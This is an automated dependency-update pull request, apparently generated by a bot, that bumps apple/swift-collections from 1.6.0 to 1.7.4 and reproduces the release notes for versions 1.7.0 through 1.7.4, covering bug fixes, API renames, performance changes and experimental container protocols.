This PR contains the following updates: | Package | Update | Change | |---|---|---| | [apple/swift-collections](https://redirect.github.com/apple/swift-collections) | minor | `from: "1.6.0"` → `from: "1.7.4"` | --- ### Release Notes <details> <summary>apple/swift-collections</summary> ### [`v1.7.4`](https://redirect.github.com/apple/swift-collections/releases/tag/1.7.4): Swift Collections 1.7.4 [Compare Source](https://redirect.github.com/apple/swift-collections/compare/1.7.3...1.7.4) This is a patch release shipping a number of bug fixes. #### What's Changed - Fix implementation of `InputSpan.removeAll()` by [@​glessard](https://redirect.github.com/glessard) in [#​766](https://redirect.github.com/apple/swift-collections/pull/766) - SortedSet: keep the existing member on insert, replace it on update(with:) by [@​aniketatgithub](https://redirect.github.com/aniketatgithub) in [#​761](https://redirect.github.com/apple/swift-collections/pull/761) - \[SortedCollections] Check SortedSet's SetAlgebra conformance by [@​Joseph-Cursio](https://redirect.github.com/Joseph-Cursio) in [#​758](https://redirect.github.com/apple/swift-collections/pull/758) - Check the set predicates and isEqualSet(to:) against plain sequences by [@​Joseph-Cursio](https://redirect.github.com/Joseph-Cursio) in [#​759](https://redirect.github.com/apple/swift-collections/pull/759) - \[BitCollections] Check BitSet.Counted's BidirectionalCollection conformance by [@​Joseph-Cursio](https://redirect.github.com/Joseph-Cursio) in [#​767](https://redirect.github.com/apple/swift-collections/pull/767) - Fix implementation of OutputSpan.\_consumeAll() by [@​glessard](https://redirect.github.com/glessard) in [#​775](https://redirect.github.com/apple/swift-collections/pull/775) - Bump swiftlang/github-workflows/.github/workflows/swift_package_test.yml from 0.0.15 to 0.0.16 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​778](https://redirect.github.com/apple/swift-collections/pull/778) - Bump swiftlang/github-workflows from 0.0.15 to 0.0.16 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​780](https://redirect.github.com/apple/swift-collections/pull/780) - Bump swiftlang/github-workflows/.github/workflows/soundness.yml from 0.0.15 to 0.0.16 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​779](https://redirect.github.com/apple/swift-collections/pull/779) - \[BasicContainers] Fix RigidSet.hash(into:) never returning by [@​Joseph-Cursio](https://redirect.github.com/Joseph-Cursio) in [#​768](https://redirect.github.com/apple/swift-collections/pull/768) - Add checkSetAlgebraMemberIdentity, a law checker for which equal member SetAlgebra keeps by [@​Joseph-Cursio](https://redirect.github.com/Joseph-Cursio) in [#​769](https://redirect.github.com/apple/swift-collections/pull/769) - \[BasicContainers] Fix UniqueArray.append(moving:) dropping and leaking every element by [@​aniketatgithub](https://redirect.github.com/aniketatgithub) in [#​776](https://redirect.github.com/apple/swift-collections/pull/776) - \[UniqueDeque] Fix prepend(from:) reversing batch order across producer passes by [@​SwastikTripathi](https://redirect.github.com/SwastikTripathi) in [#​777](https://redirect.github.com/apple/swift-collections/pull/777) - \[BasicContainers] Fix returned range of replaceSubrange(\_:addingCount:initializingWith:) by [@​aashish254](https://redirect.github.com/aashish254) in [#​781](https://redirect.github.com/apple/swift-collections/pull/781) - \[BasicContainers] Fix RigidSet/UniqueSet batch insertion never terminating without the preview trait by [@​aashish254](https://redirect.github.com/aashish254) in [#​782](https://redirect.github.com/apple/swift-collections/pull/782) - \[BigString] Resync character breaks after removeSubrange by [@​sebxt](https://redirect.github.com/sebxt) in [#​784](https://redirect.github.com/apple/swift-collections/pull/784) - Saturate producer buffers by [@​lorentey](https://redirect.github.com/lorentey) in [#​789](https://redirect.github.com/apple/swift-collections/pull/789) - Fix nextSpan/previousSpan implementations by [@​lorentey](https://redirect.github.com/lorentey) in [#​793](https://redirect.github.com/apple/swift-collections/pull/793) - \[BorrowingMapProducer] Fix skip(by:) hanging at end of iterator by [@​SwastikTripathi](https://redirect.github.com/SwastikTripathi) in [#​794](https://redirect.github.com/apple/swift-collections/pull/794) - \[OrderedCollections] Check the remaining Hashable conformances by [@​Joseph-Cursio](https://redirect.github.com/Joseph-Cursio) in [#​792](https://redirect.github.com/apple/swift-collections/pull/792) - \[ContainersPreview] Add missing RigidSet+Extras.swift to CMake source list by [@​aashish254](https://redirect.github.com/aashish254) in [#​797](https://redirect.github.com/apple/swift-collections/pull/797) - \[BitCollections] Fix BitSet intersection doc examples for Range inputs by [@​aashish254](https://redirect.github.com/aashish254) in [#​799](https://redirect.github.com/apple/swift-collections/pull/799) - \[BitCollections] Fix BitArray.resizingShiftRight leaving stale bits by [@​aashish254](https://redirect.github.com/aashish254) in [#​798](https://redirect.github.com/apple/swift-collections/pull/798) - fix: guard InputSpan methods against nil base address in debug builds by [@​SwastikTripathi](https://redirect.github.com/SwastikTripathi) in [#​795](https://redirect.github.com/apple/swift-collections/pull/795) #### New Contributors - [@​SwastikTripathi](https://redirect.github.com/SwastikTripathi) made their first contribution in [#​777](https://redirect.github.com/apple/swift-collections/pull/777) - [@​aashish254](https://redirect.github.com/aashish254) made their first contribution in [#​781](https://redirect.github.com/apple/swift-collections/pull/781) - [@​sebxt](https://redirect.github.com/sebxt) made their first contribution in [#​784](https://redirect.github.com/apple/swift-collections/pull/784) **Full Changelog**: <https://github.com/apple/swift-collections/compare/1.7.3...1.7.4> ### [`v1.7.3`](https://redirect.github.com/apple/swift-collections/releases/tag/1.7.3): Swift Collections 1.7.3 [Compare Source](https://redirect.github.com/apple/swift-collections/compare/1.7.2...1.7.3) This is a patch release resolving a correctness issue with `BitSet.Counted.isEqualSet(to:)`, improving test coverage throughout the library, and continuing the development of unstable interfaces. #### What's Changed - \[Heap] Add exhaustive permutations and duplicate-value coverage by [@​rksharma-owg](https://redirect.github.com/rksharma-owg) in [#​750](https://redirect.github.com/apple/swift-collections/pull/750) - \[BitCollections] Fix BitSet.Counted.isEqualSet(to:) rejecting sequences with duplicates by [@​kwy404](https://redirect.github.com/kwy404) in [#​749](https://redirect.github.com/apple/swift-collections/pull/749) - SortedSet: generalize set operations to arbitrary Sequences by [@​aniketatgithub](https://redirect.github.com/aniketatgithub) in [#​746](https://redirect.github.com/apple/swift-collections/pull/746) - \[SortedCollections] Check the BidirectionalCollection, Equatable and Hashable conformances by [@​Joseph-Cursio](https://redirect.github.com/Joseph-Cursio) in [#​742](https://redirect.github.com/apple/swift-collections/pull/742) - Build BigString in Embedded Swift - with a custom implementation of grapheme walking instead of using the stdlib by [@​parkera](https://redirect.github.com/parkera) in [#​752](https://redirect.github.com/apple/swift-collections/pull/752) - Revive configuration for Foundation toolchain module builds by [@​lorentey](https://redirect.github.com/lorentey) in [#​753](https://redirect.github.com/apple/swift-collections/pull/753) - Copy every source span in replaceSubrange(copying:) by [@​hamed75kazemii](https://redirect.github.com/hamed75kazemii) in [#​755](https://redirect.github.com/apple/swift-collections/pull/755) - 1.7.3: Clean up minor issues in build configuration by [@​lorentey](https://redirect.github.com/lorentey) in [#​756](https://redirect.github.com/apple/swift-collections/pull/756) - CMake: Enable UnstableContainersPreview and UnstableHashedContainers by default by [@​lorentey](https://redirect.github.com/lorentey) in [#​757](https://redirect.github.com/apple/swift-collections/pull/757) #### New Contributors - [@​rksharma-owg](https://redirect.github.com/rksharma-owg) made their first contribution in [#​750](https://redirect.github.com/apple/swift-collections/pull/750) - [@​kwy404](https://redirect.github.com/kwy404) made their first contribution in [#​749](https://redirect.github.com/apple/swift-collections/pull/749) - [@​aniketatgithub](https://redirect.github.com/aniketatgithub) made their first contribution in [#​746](https://redirect.github.com/apple/swift-collections/pull/746) - [@​hamed75kazemii](https://redirect.github.com/hamed75kazemii) made their first contribution in [#​755](https://redirect.github.com/apple/swift-collections/pull/755) **Full Changelog**: <https://github.com/apple/swift-collections/compare/1.7.2...1.7.3> ### [`v1.7.2`](https://redirect.github.com/apple/swift-collections/releases/tag/1.7.2): Swift Collections 1.7.2 [Compare Source](https://redirect.github.com/apple/swift-collections/compare/1.7.1...1.7.2) This is a patch release shipping a few internal cleanups. - On Swift 6.4, the package is now built with strict memory safety enabled. (I don't expect to ever get rid of all `unsafe` keywords: safe data structures have to be built on top of unsafe allocator primitives, after all. But I do expect we will gradually move to using memory-safe constructs whenever it's possible to do so, and the keywords will serve as a helpful incentive for that.) - The package has now fully migrated its testing to rely on `package` access modifiers rather than `@testable import` or `@_spi` trickery. #### What's Changed - \[Xcode, CMake]: Build ContainersPreview as a standalone module by [@​lorentey](https://redirect.github.com/lorentey) in [#​744](https://redirect.github.com/apple/swift-collections/pull/744) - Stop using `@_spi` attribute and `@testable import` by [@​lorentey](https://redirect.github.com/lorentey) in [#​745](https://redirect.github.com/apple/swift-collections/pull/745) - Enable strict memory safety on Swift 6.4 by [@​lorentey](https://redirect.github.com/lorentey) in [#​747](https://redirect.github.com/apple/swift-collections/pull/747) **Full Changelog**: <https://github.com/apple/swift-collections/compare/1.7.1...1.7.2> ### [`v1.7.1`](https://redirect.github.com/apple/swift-collections/releases/tag/1.7.1): Swift Collections 1.7.1 [Compare Source](https://redirect.github.com/apple/swift-collections/compare/1.7.0...1.7.1) This is a patch release that ships a workaround for a Swift 6.4 defect that prevents code that uses the package from deploying before macOS/iOS 27 ([#​733](https://redirect.github.com/apple/swift-collections/issues/733)), alongside fixes for a handful of other bugs uncovered since 1.7.0. #### What's Changed - Housekeeping: replace repo-level CODE_OF_CONDUCT by [@​apple-ospo](https://redirect.github.com/apple-ospo)\[bot] in [#​738](https://redirect.github.com/apple/swift-collections/pull/738) - \[HashTreeCollections] Fix union misplacing items pushed into a new child by [@​Denimworld12](https://redirect.github.com/Denimworld12) in [#​737](https://redirect.github.com/apple/swift-collections/pull/737) - \[BitCollections] Fix BitSet.Counted.update(with:) not maintaining the cached count by [@​Denimworld12](https://redirect.github.com/Denimworld12) in [#​736](https://redirect.github.com/apple/swift-collections/pull/736) - validateContainer: report a mis-sized expectation instead of trapping or ignoring it by [@​Joseph-Cursio](https://redirect.github.com/Joseph-Cursio) in [#​735](https://redirect.github.com/apple/swift-collections/pull/735) - Avoid using `Ref` in Swift 6.4 by [@​lorentey](https://redirect.github.com/lorentey) in [#​739](https://redirect.github.com/apple/swift-collections/pull/739) - Version 1.7.1 release preparations by [@​lorentey](https://redirect.github.com/lorentey) in [#​740](https://redirect.github.com/apple/swift-collections/pull/740) #### New Contributors - [@​apple-ospo](https://redirect.github.com/apple-ospo)\[bot] made their first contribution in [#​738](https://redirect.github.com/apple/swift-collections/pull/738) - [@​Denimworld12](https://redirect.github.com/Denimworld12) made their first contribution in [#​737](https://redirect.github.com/apple/swift-collections/pull/737) **Full Changelog**: <https://github.com/apple/swift-collections/compare/1.7.0...1.7.1> ### [`v1.7.0`](https://redirect.github.com/apple/swift-collections/releases/tag/1.7.0): Swift Collections 1.7.0 [Compare Source](https://redirect.github.com/apple/swift-collections/compare/1.6.0...1.7.0) This is a feature release raising the minimum required toolchain to Swift 6.2. It formalizes `Equatable`/`Hashable` conformances on the ownership-aware container types, adds a new stable `OrderedSet` operation, and continues to develop the experimental ownership-aware container model behind the `UnstableContainersPreview` trait. It also includes a number of performance improvements and bug fixes. #### New stable APIs ##### `OrderedCollections` - `OrderedSet.replace(at:with:)` replaces the member at a given index with a new element, returning the element that was removed. Replacing a member with an element that already exists elsewhere in the set is a runtime error. Expected amortized O(1) complexity. ([#​669](https://redirect.github.com/apple/swift-collections/pull/669)) ##### `BasicContainers`, `DequeModule` - On a Swift 6.4 or later toolchain, `RigidArray`, `UniqueArray`, `RigidDeque`, `UniqueDeque`, `RigidSet`, `UniqueSet`, `RigidDictionary`, and `UniqueDictionary` now formally conform to `Equatable` and `Hashable`. (The underlying `==` and `hash(into:)` members were already available in 1.6.0; what is new is the conformances themselves.) Building with Swift 6.2 or 6.3 still gets you the `==`/`hash(into:)` members, but no conformances. - `RigidDeque.isTriviallyIdentical(to:)` and `UniqueDeque.isTriviallyIdentical(to:)` are now available for every element type, including noncopyable ones. Previously these required `Element: Equatable`. - New spelling for the capacity, cloning, and range-replacement operations; see **Renamed APIs** below. The new names are the stable spelling going forward; the old ones remain as deprecated shims. ##### `Collections` umbrella module The `Collections` module is back to re-exporting its constituent modules with `@_exported import`, instead of restating each type as a `public typealias` ([#​716](https://redirect.github.com/apple/swift-collections/pull/716)). A single `import Collections` therefore now brings in the *entire* contents of `BitCollections`, `DequeModule`, `HashTreeCollections`, `HeapModule`, and `OrderedCollections` — including types that previously were not exposed in the `Collections` module, such as `RigidDeque` and `UniqueDeque`. This allows `import Collections` to work even for clients that have `MemberImportVisibility` enabled. #### Renamed APIs `BasicContainers` and `DequeModule` are stable modules, so every rename below ships with a deprecated shim carrying `@available(*, deprecated, renamed:)`. Existing code keeps compiling, and Xcode/`swift build` will offer fix-its. | Old name | New name | | ------------------------------------------ | ---------------------------------------------------------------- | | `reallocate(capacity:)` | `setCapacity(_:)` | | `copy()` | `clone()` | | `copy(capacity:)` | `clone(capacity:)` | | `UniqueDeque.init(capacity:)` | `init(minimumCapacity:)` | | `replace(_:with:)` and friends | `replaceSubrange(_:copying:)` / `(_:moving:)` / `(_:consuming:)` | | `replace(_:count:initializingWith:)` | `replaceSubrange(_:addingCount:initializingWith:)` | | `append(count:initializingWith:)` | `append(addingCount:initializingWith:)` | | `insert(count:at:initializingWith:)` | `insert(addingCount:at:initializingWith:)` | | `nextSpan(after:maximumCount:)` | `nextSpan(after:maxCount:)` | | `nextMutableSpan(after:maximumCount:)` | `nextMutableSpan(after:maxCount:)` | | `previousSpan(before:maximumCount:)` | `previousSpan(before:maxCount:)` | | `RigidSet.insert(count:initializingWith:)` | `insert(addingCount:initializingWith:)` | | `RigidSet.insert(count:from:)` | `insert(addingCount:from:)` | Most of the new names sync this package with the API names recently adopted in the Standard Library in `Iterable` and `UniqueArray`. #### Performance improvements - **`BitSet.count` is roughly 3× faster.** ([#​702](https://redirect.github.com/apple/swift-collections/pull/702)) - `_Word.allBits` is now `@inlinable`, which unblocks specialization in several bit-twiddling paths. ([#​704](https://redirect.github.com/apple/swift-collections/pull/704)) - `OrderedSet.reverse()` now reverses the hash table in place instead of rebuilding it from scratch. ([#​668](https://redirect.github.com/apple/swift-collections/pull/668)) - `UniqueArray` no longer performs duplicate bounds checks on subscript and mutation paths. ([#​699](https://redirect.github.com/apple/swift-collections/pull/699)) - `RigidArray`'s internal representation was split from a `(buffer pointer, count)` pair into separate pointer, capacity, and count fields. This exposes an unused bit pattern for the compiler to use for representing nil values in optional wrapped arrays, avoiding having to add an out-of-line discriminator. The representation of `RigidDictionary` was adjusted in a similar way. ([#​692](https://redirect.github.com/apple/swift-collections/pull/692), [#​717](https://redirect.github.com/apple/swift-collections/pull/717)) - `Deque` and the `TreeSet`/`TreeDictionary` types are no longer using a `malloc_size` to make use of any "extra" storage allocated. ([#​700](https://redirect.github.com/apple/swift-collections/pull/700)) - `OrderedDictionary.replaceElement` now uses `exchange(_:with:)` on its equal-key path to avoid copying the outgoing value. ([#​688](https://redirect.github.com/apple/swift-collections/pull/688), [#​703](https://redirect.github.com/apple/swift-collections/pull/703)) - `RigidDictionary` now stores a sentinel value rather than `nil` for its values pointer, removing a branch from value access. #### Notable bug fixes - **`BitCollections`:** `BitSet.isEqualSet(to:)` returned the wrong result when given an empty `Range<Int>`. A non-empty bit set incorrectly compared equal to an empty range. ([#​718](https://redirect.github.com/apple/swift-collections/pull/718)) - **`SortedCollections`** (`UnstableSortedCollections` trait): `SortedDictionary.Keys`, `.Values`, and `.SubSequence` had inverted `==` implementations, so equal instances compared unequal and vice versa. `SubSequence` equality also now uses tuple comparison rather than an element-by-element loop with the wrong short-circuit. ([#​697](https://redirect.github.com/apple/swift-collections/pull/697)) - **Embedded Swift:** the `_UniqueCollection` fast paths in `BitSet.isEqualSet(to:)`, `OrderedSet.isEqualSet(to:)`, `TreeSet.isEqualSet(to:)`, and `TreeSet.symmetricDifference(_:)` rely on dynamic conformance checks, which are unavailable in embedded Swift. They are now compiled out with `#if !$Embedded`. ([#​715](https://redirect.github.com/apple/swift-collections/pull/715)) #### Experimental container protocols (`UnstableContainersPreview` trait) This is the first swift-collections release that ships a fully operational container protocol hierarchy, including some massive updates. However, things are still subject to change, and we expect to need to make breaking changes as we gain experience using the new constructs. Nothing under this trait is stable API, and source-breaking changes land without deprecations. **New:** [`Documentation/Container-design.md`](Documentation/Container-design.md) is a work-in-progress document describing the container design implemented in the `ContainersPreview` module. As of the 1.7.0 release, it explains some of the design decisions behind the container protocols, up to and including `MutableContainer`. (The `Producer` hierarchy and the range-replaceable container protocol family is not yet fully covered; we expect those parts to be fleshed out later.) ##### New `SpanPreview` module `InputSpan` has moved out of `ContainersPreview` into a new `SpanPreview` module. `SpanPreview` holds span-adjacent primitives that are expected to graduate to the standard library, and it is entirely empty unless the `UnstableContainersPreview` trait is enabled. It also ships basic `MutableSpan`/`OutputSpan` helpers for producing and consuming `InputSpan`s. Some core APIs on the container types require the use of `InputSpan`, and this change lets these APIs continue to live in their defining module. `SpanPreview` is explicitly not part of the package's stable public API, as we expect to soon replace it with the Standard Library's own `InputSpan` definition. ##### Dependency inversion `ContainersPreview` and the concrete container modules have swapped places in the dependency graph. `BasicContainers` and `DequeModule` no longer depend on `ContainersPreview`; instead `ContainersPreview` depends on them, and all container conformances for the concrete types now live there, under `Sources/ContainersPreview/Conformances/`. ([`842f125c`](https://redirect.github.com/apple/swift-collections/commit/842f125c)) **Source-breaking for trait adopters:** getting `Container` (etc.) conformances for `RigidArray`, `UniqueArray`, `RigidDeque`, `UniqueDeque`, `RigidSet`, or `UniqueSet` now requires `import ContainersPreview`. Importing just `BasicContainers` or `DequeModule` gets you the types and their intrinsic operations, but not the protocol conformances. ##### Standard library adoption - The locally-defined `BorrowingSequence_`/`BorrowingIteratorProtocol_` protocols have been replaced by the standard library's `Iterable` and `BorrowingIteratorProtocol`. The package's own definitions have been removed. ([#​657](https://redirect.github.com/apple/swift-collections/pull/657)) - Similarly, `Ref` and `MutableRef` now ship in the Standard Library rather than being declared in `ContainersPreview`. (`UniqueBox` is part of the package's stable API, so its definition continues to remain available. We expect to deprecate it in a future package release.) ##### New protocols - Removal and consumption operations were spun off from `RangeReplaceableContainer` into the new parent protocol `DrainableContainer`. This protocol models containers supporting partial in-place consumption (and removal) of their contents. Range-replacement operations now all return indices to the subranges they affected, so that we can perform insertions/removals without losing our place in the container. (This is particularly important for linked lists and similar linked data structures capable of performing O(1) insertions/removals.) ([#​723](https://redirect.github.com/apple/swift-collections/pull/723)) - `CountedProducer` refines `Producer` adding a precise count of remaining elements. `Drain` now refines `CountedProducer`. - `ContainerDrain` refines `Drain` to allow retrieving a valid index after the items have been drained. - `RangeExpression2` now refines the standard `RangeExpression`, so that we can use the standard range expression notation over container types. (The name (as well as the protocol itself) is a placeholder, so that we have something that works while we are looking for a better solution.) ([#​22a94a97](https://redirect.github.com/apple/swift-collections/commit/22a94a97)) ##### Reworked core requirements - `Container`'s core primitive is now `nextSpan(after:maxCount:limitedBy:)`, with optional delimiter arguments; the bidirectional counterpart is `spanBoundary(before:maxDistance:limitedBy:)`. - `Container` gained `makeBorrowingIterator(from:)`, `makeBorrowingIterator(from:to:)`, and `currentIndex(of:)` requirements. - `Container` now expects its indices to be `Comparable` again, as we have found a way to provide them in conforming linked list types. ([#​727](https://redirect.github.com/apple/swift-collections/pull/727)) - `[Mutable]Container` gained subscript requirements expressed with borrow and mutate accessors. - `Producer.generate(into:)` switched to saturating semantics — it now fills the destination when possible, unless it reaches its end or throws. ([#​728](https://redirect.github.com/apple/swift-collections/pull/728)) ##### New algorithms - `MutableContainer` gained bulk update operations (`updateSubrange` and friends), in both mutating and copying forms, plus a default `swapAt` implementation for copyable elements. ([#​724](https://redirect.github.com/apple/swift-collections/pull/724)) - `PermutableContainer` gained `reverse()`, `shuffle()`, `moveSubrange(_:to:)`, and a heap sort. - `Producer` gained `UnfoldProducer` (an unfold-style generator), and - `BorrowingIteratorProtocol` gained `mapError`, and `map` was fixed; `_map2` and `_map3` were added alongside it to demonstrate different throwing behaviors. Error handling across the producer/drain algorithms was reviewed. - New `Container` conformances for `Span`, `MutableSpan`, `OutputSpan`, and `InputSpan`. #### Experimental hashed containers (`UnstableHashedContainers` trait) These types are functional, but they still have known usability gaps in their API surface that prevents us from declaring them API stable. - The trait no longer needs `UnstableContainersPreview` to be enabled alongside it. [`70dc2389`](https://redirect.github.com/apple/swift-collections/commit/70dc2389)) - `RigidSet` and `UniqueSet` now conform to `Container`. ([#​713](https://redirect.github.com/apple/swift-collections/pull/713)) - `RigidDictionary` and `UniqueDictionary` gained a `keys` property and `mutableValue(forKey:)`, which yields in-place mutable access to a stored value. ([#​698](https://redirect.github.com/apple/swift-collections/pull/698), #### Testing and infrastructure - **`checkSetAlgebra`**, a new law checker in `_CollectionsTestSupport`, verifies set-like types against the `SetAlgebra` laws — and additionally checks each mutating operation against its non-mutating twin. ([#​719](https://redirect.github.com/apple/swift-collections/pull/719), [#​730](https://redirect.github.com/apple/swift-collections/pull/730)) - A **`Container` conformance validator** has been added, along the lines of the existing `Sequence`/`Collection` conformance checkers, and is now applied to `RigidSet`, `UniqueSet`, `RigidDeque`, and `UniqueDeque`. ([#​713](https://redirect.github.com/apple/swift-collections/pull/713), [#​720](https://redirect.github.com/apple/swift-collections/pull/720)) - New tests cover `Deque`'s storage allocation behavior and `MutableContainer`'s requirements (the latter uncovered and fixed several issues). ([#​722](https://redirect.github.com/apple/swift-collections/pull/722)) - We added a first draft of a `swift-format` configuration for this package. - CI workflows were updated (`swiftlang/github-workflows` 0.0.11 → 0.0.15, `actions/checkout` 6 → 7), and the matrix was simplified now that 6.0/6.1 are out of support. - The unstable Xcode project had its groups converted to folders. #### Detailed List of Changes - Run heap node tests in release by [@​sorinc03](https://redirect.github.com/sorinc03) in [#​662](https://redirect.github.com/apple/swift-collections/pull/662) - \[BasicContainers] Rename reallocate to setCapacity for Rigid and UniqueArray by [@​Azoy](https://redirect.github.com/Azoy) in [#​667](https://redirect.github.com/apple/swift-collections/pull/667) - Define SwiftStdlib 6.4 with actual version numbers by [@​lorentey](https://redirect.github.com/lorentey) in [#​670](https://redirect.github.com/apple/swift-collections/pull/670) - Update `BorrowingSequence` to `Iterable` by [@​natecook1000](https://redirect.github.com/natecook1000) in [#​657](https://redirect.github.com/apple/swift-collections/pull/657) - Bump swiftlang/github-workflows/.github/workflows/soundness.yml from 0.0.11 to 0.0.12 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​678](https://redirect.github.com/apple/swift-collections/pull/678) - Bump swiftlang/github-workflows/.github/workflows/swift_package_test.yml from 0.0.11 to 0.0.12 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​677](https://redirect.github.com/apple/swift-collections/pull/677) - Fix [@​inlinable](https://redirect.github.com/inlinable) deinit incompatibility with library evolution (HashTree/Sorted storage) by [@​itej13](https://redirect.github.com/itej13) in [#​679](https://redirect.github.com/apple/swift-collections/pull/679) - Bump actions/checkout from 6 to 7 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​672](https://redirect.github.com/apple/swift-collections/pull/672) - \[OrderedCollections] OrderedSet.reverse(): update the hash table in place by [@​inju2403](https://redirect.github.com/inju2403) in [#​668](https://redirect.github.com/apple/swift-collections/pull/668) - Fix superset set algebra doc comments by [@​wjdtjq6](https://redirect.github.com/wjdtjq6) in [#​674](https://redirect.github.com/apple/swift-collections/pull/674) - Fix typos in doc comments and a DocC article by [@​wjdtjq6](https://redirect.github.com/wjdtjq6) in [#​673](https://redirect.github.com/apple/swift-collections/pull/673) - \[OrderedCollections] Add OrderedSet.replace(\_:at:) by [@​inju2403](https://redirect.github.com/inju2403) in [#​669](https://redirect.github.com/apple/swift-collections/pull/669) - Bump swiftlang/github-workflows/.github/workflows/soundness.yml from 0.0.12 to 0.0.13 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​689](https://redirect.github.com/apple/swift-collections/pull/689) - Bump swiftlang/github-workflows/.github/workflows/swift_package_test.yml from 0.0.12 to 0.0.13 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​690](https://redirect.github.com/apple/swift-collections/pull/690) - \[ContainersPreview] Update Container protocols by [@​lorentey](https://redirect.github.com/lorentey) in [#​682](https://redirect.github.com/apple/swift-collections/pull/682) - \[RigidArray/UniqueArray] Split up the buffer pointer in RIgidArray by [@​Azoy](https://redirect.github.com/Azoy) in [#​692](https://redirect.github.com/apple/swift-collections/pull/692) - Fix stale paths in internals documentation by [@​ZayanKhan-12](https://redirect.github.com/ZayanKhan-12) in [#​691](https://redirect.github.com/apple/swift-collections/pull/691) - More updates to the container model by [@​lorentey](https://redirect.github.com/lorentey) in [#​694](https://redirect.github.com/apple/swift-collections/pull/694) - More ContainersPreview updates by [@​lorentey](https://redirect.github.com/lorentey) in [#​695](https://redirect.github.com/apple/swift-collections/pull/695) - \[Rigid/UniqueDictionary] Add mutableValue(forKey:) to new dictionary types by [@​Azoy](https://redirect.github.com/Azoy) in [#​698](https://redirect.github.com/apple/swift-collections/pull/698) - \[OrderedCollections] Share OrderedSet's replace primitive with OrderedDictionary.replaceElement by [@​inju2403](https://redirect.github.com/inju2403) in [#​688](https://redirect.github.com/apple/swift-collections/pull/688) - Fix inverted SortedDictionary Keys/Values/SubSequence equality by [@​Hashim1999164](https://redirect.github.com/Hashim1999164) in [#​697](https://redirect.github.com/apple/swift-collections/pull/697) - \[Deque/HashTree] Remove references to ManagedBuffer.capacity and use the given minCapacity by [@​Azoy](https://redirect.github.com/Azoy) in [#​700](https://redirect.github.com/apple/swift-collections/pull/700) - \[Rigid/UniqueArray] Eliminate some duplicate bounds checks for UniqueArray by [@​Azoy](https://redirect.github.com/Azoy) in [#​699](https://redirect.github.com/apple/swift-collections/pull/699) - Mark `_Word.allBits` as `@inlinable` by [@​dnadoba](https://redirect.github.com/dnadoba) in [#​704](https://redirect.github.com/apple/swift-collections/pull/704) - Improve `BitSet.count` performance by \~3x by [@​dnadoba](https://redirect.github.com/dnadoba) in [#​702](https://redirect.github.com/apple/swift-collections/pull/702) - \[workflows] Update CI workflows by [@​lorentey](https://redirect.github.com/lorentey) in [#​706](https://redirect.github.com/apple/swift-collections/pull/706) - Name the documented arguments the way the declarations name them by [@​karpovantonme](https://redirect.github.com/karpovantonme) in [#​701](https://redirect.github.com/apple/swift-collections/pull/701) - \[OrderedCollections] Use exchange(\_:with:) in replaceElement's equal-key path by [@​inju2403](https://redirect.github.com/inju2403) in [#​703](https://redirect.github.com/apple/swift-collections/pull/703) - \[SortedCollections] Name the documented arguments the way the declarations name them by [@​karpovantonme](https://redirect.github.com/karpovantonme) in [#​705](https://redirect.github.com/apple/swift-collections/pull/705) - More container updates by [@​lorentey](https://redirect.github.com/lorentey) in [#​707](https://redirect.github.com/apple/swift-collections/pull/707) - Bump swiftlang/github-workflows/.github/workflows/swift_package_test.yml from 0.0.14 to 0.0.15 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​712](https://redirect.github.com/apple/swift-collections/pull/712) - Bump swiftlang/github-workflows/.github/workflows/soundness.yml from 0.0.14 to 0.0.15 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​711](https://redirect.github.com/apple/swift-collections/pull/711) - Conform RigidSet/UniqueSet to Container and add Container validator by [@​lorentey](https://redirect.github.com/lorentey) in [#​713](https://redirect.github.com/apple/swift-collections/pull/713) - Disable `_UniqueCollection` fast paths in embedded Swift by [@​lorentey](https://redirect.github.com/lorentey) in [#​715](https://redirect.github.com/apple/swift-collections/pull/715) - Reinstate exported imports in Collections module by [@​lorentey](https://redirect.github.com/lorentey) in [#​716](https://redirect.github.com/apple/swift-collections/pull/716) - \[RigidDictionary] Store a sentinel value for values ptr if null by [@​Azoy](https://redirect.github.com/Azoy) in [#​717](https://redirect.github.com/apple/swift-collections/pull/717) - \[BitSet] Fix isEqualSet(to: Range<Int>) for empty ranges by [@​dylanpulver](https://redirect.github.com/dylanpulver) in [#​718](https://redirect.github.com/apple/swift-collections/pull/718) - Refactor DrainableContainer/RangeReplaceableContainer/DynamicContainer by [@​lorentey](https://redirect.github.com/lorentey) in [#​723](https://redirect.github.com/apple/swift-collections/pull/723) - MutableContainer: Add some bulk update operations by [@​lorentey](https://redirect.github.com/lorentey) in [#​724](https://redirect.github.com/apple/swift-collections/pull/724) - Container: Reinstate requirement for Comparable indices by [@​lorentey](https://redirect.github.com/lorentey) in [#​727](https://redirect.github.com/apple/swift-collections/pull/727) - Add checkSetAlgebra, a law checker for set-like types by [@​Joseph-Cursio](https://redirect.github.com/Joseph-Cursio) in [#​719](https://redirect.github.com/apple/swift-collections/pull/719) - Fix typos in documentation and comments by [@​eliorpom-cmd](https://redirect.github.com/eliorpom-cmd) in [#​725](https://redirect.github.com/apple/swift-collections/pull/725) - \[DequeModule] Add tests for Deque's storage allocation behavior by [@​Joseph-Cursio](https://redirect.github.com/Joseph-Cursio) in [#​722](https://redirect.github.com/apple/swift-collections/pull/722) - Unbacktick parameter names so DocC binds the parameter docs by [@​hxperl](https://redirect.github.com/hxperl) in [#​721](https://redirect.github.com/apple/swift-collections/pull/721) - Validate the Container conformance of RigidDeque and UniqueDeque by [@​Joseph-Cursio](https://redirect.github.com/Joseph-Cursio) in [#​720](https://redirect.github.com/apple/swift-collections/pull/720) - `Producer.generate(into:)`: Switch to saturating semantics by [@​lorentey](https://redirect.github.com/lorentey) in [#​728](https://redirect.github.com/apple/swift-collections/pull/728) - Check the mutating form\* twins against their non-mutating originals by [@​Joseph-Cursio](https://redirect.github.com/Joseph-Cursio) in [#​730](https://redirect.github.com/apple/swift-collections/pull/730) - 1.7.0 release preparations by [@​lorentey](https://redirect.github.com/lorentey) in [#​729](https://redirect.github.com/apple/swift-collections/pull/729) - Finalize the 1.7.0 release by [@​lorentey](https://redirect.github.com/lorentey) in 